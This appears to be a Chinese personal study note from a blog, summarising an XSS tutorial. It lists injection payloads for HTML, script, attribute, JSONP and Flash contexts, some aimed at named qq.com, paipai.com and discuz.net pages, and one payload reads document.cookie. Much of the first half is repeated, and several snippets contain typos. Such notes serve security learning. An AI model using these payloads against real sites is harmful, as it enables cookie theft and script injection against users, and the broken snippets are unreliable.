XSS例子
1.当模型是这样
<html>输出</html>
或是这样
<html></html>
输出
<html></html>
当源代码是这样时
1 <html> 2 <head> 3 </head> 4 <body> 5 输入:<input type="text" id="input"/> 6 <script> 7 var v=document.getElementById("input").value; 8 document.write("</br>"); 9 document.write(v); 10 </script> 11 </body> 12 </html>
由于我们输入的东西会直接写到html中,且没有作任何过滤,于是我们直接在输入框中输入
<img src=# onerror="alert(1)"/>,写入后刷新页面,弹出对话框
2.当输出在<script></script>标签的时候
分两种情况
i.当没有过滤得时候,我们构造输入如下
aaaaaa</script><script>alert(1)</script>
这样一来,我们的第一个</script>标签封闭掉了前面的<script>,同时,自己再之后构造自己的js脚本
<script>alert(1)</script>
ii.当过滤了<,>,/时
当输入为aaaaaaaaaa时
当时输出的
<script='text/javascript'> document.domain='soso.com';_ret=
....;try{parent.aaaaaaaaaaa(_ret);}catch(err){aaaaaaa(_ret);}</script>
由于<,/,>标签被过滤所以我们无法像之前那样用</script>闭合掉前面的<script>标签在构造出自己的脚本
于是我们输入eval('alert(1)');并添加:void闭合掉后面的(_ret)
3.当输出出现在html属性中的时候
比如说如果是这样
i.<input type="text" value="输入的文字显示"/>
于是我们可以这样构造输入 a“ onclick="alert(1)
于是第一个双引号闭合掉了 ,而之后的双引号加上alert(1)使得当用户点击的时候弹出了对话框
但是常常会被过滤双引号,我们可以
ii.在老版本的浏览器中以下利用以下代码
<div style="width:expression(alert('xss'));">Hello World</div>
在属性中利用 expression()输入Js代码1
而在css代码里,允许使用转义字符,\+ascli 16进制形式
比如说e 可以变成 \65,http://ascii.911cha.com
在这里可以
还有对于以下属性
<input type="text" id="m" onkeydown="location.href='127.0.0.1/xss.php?a=你的输入>
如果有这样的代码,在输入部分
在输入部分先用'闭合前面href对应的单引号,然后用分号.完结掉location.href的句子,再输入自己的js语句alert(1)
整个代码如同这样
<input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x';alert(/1/)"/>
但是,单引号会被过滤
<input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x';alert(/1/)"/>
可能单引号会被过滤我们可以使用html Encode的代码代替
4.对于被过滤得情况,我们还可以考虑宽字节
原理: 一般的过滤之后是这样:
比如说过滤掉双引号是在前面添加转义符,
但是对于GB......系列的编码,它的编码范围是 0X8140-0XFEFE(不包括XX7F
),在遇到%df,%c0等以上ascli码大于128时,自动拼接%5c,因此吃掉了“/”
在输入的“前添加 %C0
5.当代码结构如下
location.href="........."+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。
原本实际上是,location.href
组合三个字符串".........",="........."+"&ss=aaaa","+"&from=bbb"+""+"¶m=";
我们这样
1.location.href="........."+"&ss=aaaa\"+"&from=bbb"+"¶m=";
这样做(将中间标红的部分)合并成了一个字符串
2.再这样.
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
我们注释掉以后的部分
但是由于&的优先级件高,所以会先和from结合,再被赋值
所以变成了location.href=("字符串"&from)=1
语法错误!
更改为如下
location.href="字符串&(from==1)"
但是from 未有定义
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=";
这样就可以了
结论:1.关键是利用一个"\",转,义了其中的一个“,使得剩余的一个”能够通过//将其注释掉
2.当将空格过滤掉之后,我们可以使用/**/来应对
3.通过定义 function from()
{
}来应对
6当我们的输入会在注释中出现的话,例如以下
//(".........",aaaaaaaaaaaa);
其中类似于//注释 ,[我是输出]
但是如果是这样 //注释[我是输出part
alert(1);//我是输出part2 ]
我们在URL中输入%0a为换行符
补1
%0a, %0d,换行,回车URL编码
7.一个也出现在 <script> </script>中的情况
有以下样式
<script>
//document.getElementById("order_select").value="您的输入"
var searchOrder="您的输入"
</script>
我们想到利用换行符 %0d
//document.getElementById("order_select").value="
alert(1)://";
var searchOrder="aaaaaa (但注意到,这里语法错误双引号没有闭合)
alert (1)//)";
</script>
==============
需要注意到,Js有以下语法
var a =“Hello\
World”;
alert(a);
对,利用\表示换行
//document.getElementById("order_select").value="aaaa\
alert(1);//"
var searchOrder="aaaa\(在原教程中,这个被转义了,联系之前的宽字节。。。%c0吃掉5c%)
alert(1);//"
---恢复内容结束---
1.当模型是这样
<html>输出</html>
或是这样
<html></html>
输出
<html></html>
当源代码是这样时
1 <html> 2 <head> 3 </head> 4 <body> 5 输入:<input type="text" id="input"/> 6 <script> 7 var v=document.getElementById("input").value; 8 document.write("</br>"); 9 document.write(v); 10 </script> 11 </body> 12 </html>
由于我们输入的东西会直接写到html中,且没有作任何过滤,于是我们直接在输入框中输入
<img src=# onerror="alert(1)"/>,写入后刷新页面,弹出对话框
2.当输出在<script></script>标签的时候
分两种情况
i.当没有过滤得时候,我们构造输入如下
aaaaaa</script><script>alert(1)</script>
这样一来,我们的第一个</script>标签封闭掉了前面的<script>,同时,自己再之后构造自己的js脚本
<script>alert(1)</script>
ii.当过滤了<,>,/时
当输入为aaaaaaaaaa时
当时输出的
<script='text/javascript'> document.domain='soso.com';_ret=
....;try{parent.aaaaaaaaaaa(_ret);}catch(err){aaaaaaa(_ret);}</script>
由于<,/,>标签被过滤所以我们无法像之前那样用</script>闭合掉前面的<script>标签在构造出自己的脚本
于是我们输入eval('alert(1)');并添加:void闭合掉后面的(_ret)
3.当输出出现在html属性中的时候
比如说如果是这样
i.<input type="text" value="输入的文字显示"/>
于是我们可以这样构造输入 a“ onclick="alert(1)
于是第一个双引号闭合掉了 ,而之后的双引号加上alert(1)使得当用户点击的时候弹出了对话框
但是常常会被过滤双引号,我们可以
ii.在老版本的浏览器中以下利用以下代码
<div style="width:expression(alert('xss'));">Hello World</div>
在属性中利用 expression()输入Js代码1
而在css代码里,允许使用转义字符,\+ascli 16进制形式
比如说e 可以变成 \65,http://ascii.911cha.com
在这里可以
还有对于以下属性
<input type="text" id="m" onkeydown="location.href='127.0.0.1/xss.php?a=你的输入>
如果有这样的代码,在输入部分
在输入部分先用'闭合前面href对应的单引号,然后用分号.完结掉location.href的句子,再输入自己的js语句alert(1)
整个代码如同这样
<input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x';alert(/1/)"/>
但是,单引号会被过滤
<input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x';alert(/1/)"/>
可能单引号会被过滤我们可以使用html Encode的代码代替
4.对于被过滤得情况,我们还可以考虑宽字节
原理: 一般的过滤之后是这样:
比如说过滤掉双引号是在前面添加转义符,
但是对于GB......系列的编码,它的编码范围是 0X8140-0XFEFE(不包括XX7F
),在遇到%df,%c0等以上ascli码大于128时,自动拼接%5c,因此吃掉了“/”
在输入的“前添加 %C0
5.当代码结构如下
location.href="........."+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。
原本实际上是,location.href
组合三个字符串".........",="........."+"&ss=aaaa","+"&from=bbb"+""+"¶m=";
我们这样
1.location.href="........."+"&ss=aaaa\"+"&from=bbb"+"¶m=";
这样做(将中间标红的部分)合并成了一个字符串
2.再这样.
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
我们注释掉以后的部分
但是由于&的优先级件高,所以会先和from结合,再被赋值
所以变成了location.href=("字符串"&from)=1
语法错误!
更改为如下
location.href="字符串&(from==1)"
但是from 未有定义
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=";
这样就可以了
结论:1.关键是利用一个"\",转,义了其中的一个“,使得剩余的一个”能够通过//将其注释掉
2.当将空格过滤掉之后,我们可以使用/**/来应对
3.通过定义 function from()
{
}来应对fromm没有定义的情况
6当我们的输入会在注释中出现的话,例如以下
//(".........",aaaaaaaaaaaa);
其中类似于//注释 ,[我是输出]
但是如果是这样 //注释[我是输出part
alert(1);//我是输出part2 ]
我们在URL中输入%0a为换行符
补1
%0a, %0d,换行,回车URL编码
7.一个也出现在 <script> </script>中的情况
有以下样式
<script>
//document.getElementById("order_select").value="您的输入"
var searchOrder="您的输入"
</script>
我们想到利用换行符 %0d
//document.getElementById("order_select").value="
alert(1)://";
var searchOrder="aaaaaa (但注意到,这里语法错误双引号没有闭合)
alert (1)//)";
</script>
==============
需要注意到,Js有以下语法
var a =“Hello\
World”;
alert(a);
对,利用\表示换行
//document.getElementById("order_select").value="aaaa\
alert(1);//"
var searchOrder="aaaa\(在原教程中,这个被转义了,联系之前的宽字节。。。%c0吃掉5c%)
alert(1);//"
eval('this.'+arg[0]+'="'+arg[1]+'";');
eval('key="aaa";alert(1);//";')
传入key=aaa";alert(1);//
这样既可
4.有时候,输出还会出现在<iframe>src="输出"></iframe>
iframe的变化
最简单的一种方式 <iframe onload="alert(1)"></iframe>
或者我们可以通过 src中嵌入javascript协议来执行我们的脚本
像是这样
<iframe src="javascript:alert(1)"/></iframe>
在IE下也可以这样
<iframe src="vbscript:msgbox(1)"></iframe>
以及利用data协议
<iframe src="data:text/html;<script>alert(1)</scipt>"></iframe>
以及我们可以将<,>进行htmlencode加密
<iframe src="data:text/html",<script>alert(1)</script>></iframe>
其实说到这里也就有想法了
安全状况的发生经常是过滤不全,比如有下面的代码
function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
document.getElementById("toolframe").src = url;
}
这里仅仅过滤了javascript:
注意到在vbscript中‘类似于\\
一些程序员会动态的家在json数据,同域的时候,可以使用ajax;
而有时候,数据所在域和当前页面所在域又不一致,可以通过jsonp进行跨域
用代码表示的话,就是
somescript.src="http://otherdomain.com/xx?jsonp=callback"
有时,程序员会在调用外部数据的时候带上可控的参数
somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
有三种情况
第一种
src 完全被控制,那么由于js可以被跨域,所以,我们直接将src更改为我们自己的功绩代码
第二种
script src="/path/xxx/(路径被控制)/1.js"
script src="/path/xx"
i,上传到同域名下,修改控制路径为上传路径
ii.想方设法的找到JSON接口,然后找到json接口的路径
<script src="../..,/.../../xxx?json?callback=alerta(1)"></script>
iii。对json参数进行注入
<script src=script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m >
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681
在这个实例中,抓包的时候, 会加载外部js的地址
对于以上URL 、可以发现 在callback,dtag,ranking这些可控的参数中,我们无法使用"<>",这证明了JSON接口本身是无XSS风险的
观察了以上的URL,试图通过第二种方法
再来比对以下我们访问的URL
http://bag.paipai.com/search_list.shtml?type=aaaaaaaa&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
和加载外部的JS
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681
想通过更改
type为这样覆盖前面的callback参数
在这个教程里,他说 无法通过type&callback=alert(1)进行因为,这样做会导致type为空,又一点没有弄明白就是
为何不将type参数设置为aaaa&callback=alert(1)。。。。
有点不明白
通过仔细查询,原作者定义到了以下代码
1 function init() { 2 var keyword = decodeURIComp($getQuery('keyword')), 3 type = $getQuery('type'), 4 searchtype = $getQuery('searchtype'); 5 option.keyword = keyword; 6 option.classId = type; 7 option.searchType = searchtype || option.searchType; 8 option.beginPrice = $getQuery('bp'); 9 option.endPrice = $getQuery('ep'); 10 option.NewProp = $getQuery('np') || $getQuery('newprop'); 11 option.property = $getQuery('pro') || option.property; 12 option.cid = $getQuery('cid'); 13 option.Paytype = $getQuery('pt') || option.Paytype; 14 option.hongbaoKeyword = $getQuery('hb'); 15 option.conditionStatus = $getQuery('cs') || option.conditionStatus; 16 option.showType = $getQuery('show') || option.showType; 17 option.mode = $getQuery('mode') || option.mode; 18 option.address = decodeURIComp($getQuery('adr')); 19 option.orderStyle = $getQuery('os') || option.orderStyle || 80; 20 option.hideKeyword = $getQuery('hkwd') == "true" ? true: false; 21 option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG'); 22 var pageIndex = $getQuery('pi'), 23 pageSize = $getQuery('ps'); 24 option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex; 25 option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize; 26 };
他发现这个keyword参数有过一次URLDECODE
所以,可以通过让keyword=26%callback=alert(1),让callback参数覆盖掉了之前的我们无法控制的callback参数
补充一个js函数
String.fromCharCode(,,,,)其中市ascll码组合出的语句,数字之间用,隔开
===================================================
最后一个是
settimeout("window.location.href='http://www.discuz.net/./输出在这里' ; ",20000);
看到这里,第一反应就是 用单引号闭合掉前面的单引号,然后;自己的js
像是这样 settimeout("window.location.href='http://www.discuz.net';alert(1); ",30000);
发现单引号被过滤(似乎被html转码了,不能闭合掉之前的单引了),回想起之前,js可以用unicode表示
。。。\u0027,\x27
最后有一点,对于window.location.href='xxxxxxx';alert(1);
一旦跳了跳转过去,alert(1)就不会执行了
利用replace作正则替换window.location.href='http://www.discuz.net'.replace(//,/javascript:alert(document.cookie)/.source//';",200);
=================================================================================
存储形xss
先寻找显示出来的能够被自己操作的地方,
自己对其进行操作,修改,察看是否还能显示出被自己修改的样子
顺便补充一个知识
如果a网页的有http only保护
无法读出document.cookie
那么我们可以跳转至(window.location.href="另一个l站点"),通过另一个未保护的网站,获取cookie(location.href之后,document。cookie(感觉并无改变))
=========================================================
下面Flash Xss
1. 补充一个GooGle 语法用来搜索
site :qq.com filetype:swf inurl:xml
限定域名为qq.com 文件类型为swf 地址参数含有xml的
找到了下面这个Flash
http://imgcache.qq.com/liveportal_v1/swf/carousel.swf?v=20101111&dp=http://v.qq.com/doco/pic.xml
可以知道 这个Flash会调用pic.xml文件们拦截到目标xml,重点关注到
<link>节点,也就是我们点击图片时,会挑砖道目标地址
在不同版本的AS中,我们的实现方法是不一样的
as 3.0版本
navigateTOURL(new URLRequest(link),"__SELF");
as 2.0版本
getURL(link,"__self");
,可以想到在以前挖掘XSS的时候,我们会把相关网页跳转的地址更改为javascript:alert(1),如<a>标签以及window.location=
data:text/html ,代码
在我们反编译这个flash文件后,我们可以看到有这么一句代码
navigateRoURL(new URLRequest(data.link),"__self");
把xml文件替换,加载被替换的XML
把link更改为javascript:alert(1);让flash加载这个被替换的xml文件
2.事实上,对于Flash Xss
有两个参数,都在重点考虑范围内
1.navigate ToURL
2.Externalinterface.call(调用JS函数)
如 ExternallInterface.call(“alert”,“1”);
在下面这个as中,是先接受Flash所带的参数
如
var func:String=root.loaderInfo.parameters.func;
ExternalInterface.call(func,"1";);
这个func参数我们是可以控制的,
对于这个,实际上最后执行的JS代码,形式如下
try{flash__toXML(函数名(“参数1”));}catch(e){"<undefined/>";}
在本例中,我们对flash进行反编译
发现有如下语句
this.moviename=decodeURLComponent(root.loaderInfo.parameter.MovieName)
继续跟踪 this.moviename
this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
再跟踪this.flashReady_callback
ExternalCall.Simple(this.flashReady Callback);
最后再跟踪这个Simple
public static function Simple(arg1:String):void
{
ExternalInterface.call(_arg1);
}
比如说,当this.movieName为aaaaaaaaa时
最后实际上是
ExternallInterface.call("SWFupload.instances["aaaaaaa"].flashReady" )
try {__flash__toXML(SWFUpload.instances["aaaaaaaaaaaaaa"].flashReady()); }catch(e) {"<undefined/>"}
于是想利用catch (e),走到这个分支来
aaa"])} catch(e){ alert(1);};//"].flashReady("参数1");catch(e){"<undefined/>";}
2
在接下来的例子中
http://qzs.qq.com/qzone/v6/custom_module_proxy.html#siDomain=1&g_styleID=aaaaaaaaa
这个aaaaaaaa被用来当作调用csss的参数
如下
<link href="http://1/qzone/v6/gb/skin/aaaaaa"> rel="stylesheet">
再看一下程序员写的代码
var siDomain=paras["siDomain"],
g_styleID=paras["g_styleID"].replace("v6/","");
if(siDomain.indexOf(".qq.com">-1))
{
siDomain=paras["siDomain"]="qzonesStyle.gtimg.cn";
}document.wiret("<link href="http://'+siDomain+'/qzone_v6/gb/skin/+g_styleID+"css" rel="stylesheet"/><link hr>")
siDomain=1&g_styleId="><script>alert(1)</script>
发现他把v6/替换为空..加上前面的对siDomain的判断,感觉这人是担心v6/路径和前面的域名影响到了后面的URl
3.
flash addcallback函数,有以下代码
(((activeX == true)) && (!((objectID == null))))){
_evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};
发现,它会过滤非本域名,试图改变object ID
像是这样
__flash__addcallback(docuument.getElementById("aaa"),"myfunc");
__flash__addcallback(document.getElementByhhhaode1
aaaaa").alert(1),"myfunc"
====================
Flash的第二个参数
================================================
正常情况下打开URL为如下
http://imgcache.qq.com/qzone_v4/2/qzone_v4/2/default_menu_horizontal.swf?xl_path=http://imgcache.qq.com/qzone/client/
custom_menu/custom_menu.xml
打开这个xml文件
反编译swf文件,发现有
externalInterface.call("custom_menu_swf",menu_array[_local].href);
联系到以前能够加载自己的xml的方法
我们试图通过<menu name="a" href=\",alert(1)/>来进行
实际上是这样
try{__flash__toXML(函数名("参数1"));}
想要挣脱",必须得闭合前面的双引号
可是结果会在双引号前面加个\,,,方法是
a\\"))}catche(e){alert(1)}//........}
主要是利用了\被转移,而双引号逃脱了\转义!

浙公网安备 33010602011771号